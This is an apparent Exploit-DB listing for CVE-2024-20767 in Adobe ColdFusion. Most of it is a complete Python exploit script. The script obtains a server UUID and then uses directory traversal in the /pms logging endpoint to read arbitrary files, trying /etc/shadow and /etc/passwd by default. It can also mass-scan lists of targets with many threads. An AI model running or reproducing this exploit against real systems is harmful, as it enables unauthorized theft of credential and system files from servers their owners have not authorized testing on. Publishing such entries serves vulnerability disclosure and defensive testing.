Adobe ColdFusion 2023.6 – Remote File Read

Exploit Details

Basic Information

Exploit Title Adobe ColdFusion 2023.6 – Remote File Read
Exploit ID EDB-ID:52387
Type exploitdb
Published 2025-07-28T00:00:00
Modified 2025-07-28T00:00:00

CVSS Information

CVSS Score 7.4
Severity HIGH
Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE Information

  • CVE-2024-20767

Exploit Description

Exploit Title: Adobe ColdFusion…

Exploit Code

# Exploit Title: Adobe ColdFusion 2023.6 – Remote File Read

# Exploit Author: @İbrahimsql

# Exploit Author’s github: https://github.com/ibrahmsql

# Description: ColdFusion 2023 (LUcee) – Remote Code Execution

# CVE: CVE-2024-20767

# Vendor Homepage: https://www.adobe.com/

# Requirements: requests>=2.25.0, urllib3>=1.26.0

# Usage: python3 CVE-2024-20767.py -u http://target.com -f /etc/passwd

#!/usr/bin/env python3

# -*- coding: utf-8 -*-

import os

import re

import urllib3

import requests

import argparse

from urllib.parse import urlparse

from concurrent.futures import ThreadPoolExecutor, as_completed

urllib3.disable_warnings()

class ColdFusionExploit:

def __init__(self, output_file=None, port=8500):

self.output_file = output_file

self.port = port

self.verbose = True

self.session = requests.Session()

def print_status(self, message, status=”*”):

colors = {“+”: “\033[92m”, “-“: “\033[91m”, “*”: “\033[94m”, “!”: “\033[93m”}

reset = “\033[0m”

print(f”{colors.get(status, ”)}{status} {message}{reset}”)

def normalize_url(self, url):

if not url.startswith((‘http://’, ‘https://’)):

url = f”http://{url}”

parsed = urlparse(url)

if not parsed.port:

url = f”{url}:{self.port}”

return url.rstrip(‘/’)

def get_uuid(self, url):

endpoint = “/CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat”

try:

response = self.session.get(f”{url}{endpoint}”, verify=False, timeout=10)

if response.status_code == 200:

match = re.search(r”(.+?)“, response.text)

if match:

uuid = match.group(1)

if self.verbose:

self.print_status(f”UUID: {uuid[:8]}…”, “+”)

return uuid

except Exception as e:

if self.verbose:

self.print_status(f”Error: {e}”, “-“)

return None

def read_file(self, url, uuid, file_path):

headers = {“uuid”: uuid}

endpoint = f”/pms?module=logging&file_name=../../../../../../../{file_path}&number_of_lines=100″

try:

response = self.session.get(f”{url}{endpoint}”, verify=False, headers=headers, timeout=10)

if response.status_code == 200 and response.text.strip() != “[]”:

return response.text

except:

pass

return None

def test_files(self, url, uuid):

files = {

“Linux”: [“etc/passwd”, “etc/shadow”, “etc/hosts”],

“Windows”: [“Windows/win.ini”, “Windows/System32/drivers/etc/hosts”, “boot.ini”]

}

for os_name, file_list in files.items():

for file_path in file_list:

content = self.read_file(url, uuid, file_path)

if content:

self.print_status(f”VULNERABLE: {url} – {os_name} – {file_path}”, “+”)

if self.verbose:

print(content[:200] + “…” if len(content) > 200 else content)

print(“-” * 50)

if self.output_file:

with open(self.output_file, “a”) as f:

f.write(f”{url} – {os_name} – {file_path}\n”)

return True

return False

def exploit_custom_file(self, url, uuid, custom_file):

content = self.read_file(url, uuid, custom_file)

if content:

self.print_status(f”File read: {custom_file}”, “+”)

print(content)

return True

else:

self.print_status(f”Failed to read: {custom_file}”, “-“)

return False

def exploit(self, url, custom_file=None):

url = self.normalize_url(url)

if self.verbose:

self.print_status(f”Testing: {url}”)

uuid = self.get_uuid(url)

if not uuid:

if self.verbose:

self.print_status(f”No UUID: {url}”, “-“)

return False

if custom_file:

return self.exploit_custom_file(url, uuid, custom_file)

else:

return self.test_files(url, uuid)

def scan_file(self, target_file, threads):

if not os.path.exists(target_file):

self.print_status(f”File not found: {target_file}”, “-“)

return

with open(target_file, “r”) as f:

urls = [line.strip() for line in f if line.strip() and not line.startswith(‘#’)]

self.print_status(f”Scanning {len(urls)} targets with {threads} threads”)

self.verbose = False

vulnerable = 0

with ThreadPoolExecutor(max_workers=threads) as executor:

futures = {executor.submit(self.exploit, url): url for url in urls}

for future in as_completed(futures):

url = futures[future]

try:

if future.result():

vulnerable += 1

print(f”[+] {url}”)

else:

print(f”[-] {url}”)

except Exception as e:

print(f”[!] {url} – Error: {e}”)

self.print_status(f”Scan complete: {vulnerable}/{len(urls)} vulnerable”, “+”)

def main():

parser = argparse.ArgumentParser(description=”ColdFusion CVE-2024-20767 Exploit”)

parser.add_argument(“-u”, “–url”, help=”Target URL”)

parser.add_argument(“-f”, “–file”, help=”File with target URLs”)

parser.add_argument(“-p”, “–port”, type=int, default=8500, help=”Port (default: 8500)”)

parser.add_argument(“-c”, “–custom”, help=”Custom file to read”)

parser.add_argument(“-o”, “–output”, help=”Output file”)

parser.add_argument(“-t”, “–threads”, type=int, default=20, help=”Threads (default: 20)”)

parser.add_argument(“-q”, “–quiet”, action=”store_true”, help=”Quiet mode”)

args = parser.parse_args()

if not args.url and not args.file:

parser.print_help()

return

exploit = ColdFusionExploit(args.output, args.port)

exploit.verbose = not args.quiet

if args.url:

exploit.exploit(args.url, args.custom)

elif args.file:

exploit.scan_file(args.file, args.threads)

if __name__ == “__main__”:

main()

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.